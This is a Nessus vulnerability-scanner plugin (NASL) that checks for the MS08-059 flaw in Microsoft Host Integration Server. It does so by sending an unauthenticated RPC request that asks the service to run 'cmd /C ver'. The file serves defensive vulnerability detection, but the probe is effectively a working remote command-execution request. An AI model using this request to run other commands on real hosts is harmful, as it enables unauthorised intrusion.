MS08-059: Microsoft Host Integration Server (HIS) SNA RPC Request Remote Overflow (956695) (uncredentialed check)

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(34412);
 script_version("1.25");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/08/05");

  script_cve_id("CVE-2008-3466");
 script_bugtraq_id(31620);
 script_xref(name:"MSFT", value:"MS08-059");
 script_xref(name:"IAVB", value:"2008-B-0074-S");
 script_xref(name:"MSKB", value:"956695");

 script_name(english:"MS08-059: Microsoft Host Integration Server (HIS) SNA RPC Request Remote Overflow (956695) (uncredentialed check)");
 script_summary(english:"Determines the presence of update 956695");

 script_set_attribute( attribute:"synopsis", value:
"Arbitrary code can be executed on the remote host through Host
Integration Server (HIS).");
 script_set_attribute(attribute:"description", value:
"The remote host has HIS (Host Integration Server) installed.  The
remote version of this product is affected by a code execution
vulnerability in its RPC interface.

An attacker could exploit this flaw to execute arbitrary code on the
remote host by making rogue RPC queries.");
  # https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-059
  script_set_attribute(attribute:"see_also", value:"https://www.nessus.org/u?2883f931");
 script_set_attribute(attribute:"solution", value:"Microsoft has released a set of patches for HIS 2000, 2003 and 2006.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2008-3466");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploit_framework_core", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');
 script_cwe_id(287);

 script_set_attribute(attribute:"plugin_publication_date", value:"2008/10/15");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"stig_severity", value:"I");
 script_set_attribute(attribute:"cpe", value:"cpe:/o:microsoft:windows");
 script_set_attribute(attribute:"cpe", value:"cpe:/a:microsoft:host_integration_server");
 script_end_attributes();

 script_category(ACT_GATHER_INFO);
 script_family(english:"Windows");
  script_copyright(english:"This script is Copyright (C) 2008-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

 script_dependencies("dcetest.nasl");
 script_require_keys("Services/DCE/ed6ee250-e0d1-11cf-925a-00aa00c006c1");
 exit(0);
}

#

include ('smb_func.inc');

port = get_kb_item ("Services/DCE/ed6ee250-e0d1-11cf-925a-00aa00c006c1");
if (!port)
  exit (0);

if ( ! get_port_state(port) ) exit(0);
soc = open_sock_tcp (port);
if (!soc) exit (0);

ret = dce_rpc_bind(cid:session_get_cid(), uuid:"ed6ee250-e0d1-11cf-925a-00aa00c006c1", vers:1);
send (socket:soc, data:ret);
resp = recv (socket:soc, length:4096);

if (!resp)
{
 close (soc);
 exit (0);
}

ret = dce_rpc_parse_bind_ack (data:resp);
if (isnull (ret) || (ret != 0))
{
 close (soc);
 exit (0);
}

session_set_unicode (unicode:0);

data =
       class_name (name:"cmd") +
       class_name (name:"/C ver");

# SnaRpcServer_RunExecutable
ret = dce_rpc_request (code:0x01, data:data);
send (socket:soc, data:ret);
resp = recv (socket:soc, length:4096);

resp = dce_rpc_parse_response (data:resp);
if (strlen(resp) == 1 && ord(resp[0]) != 0)
  security_hole(port);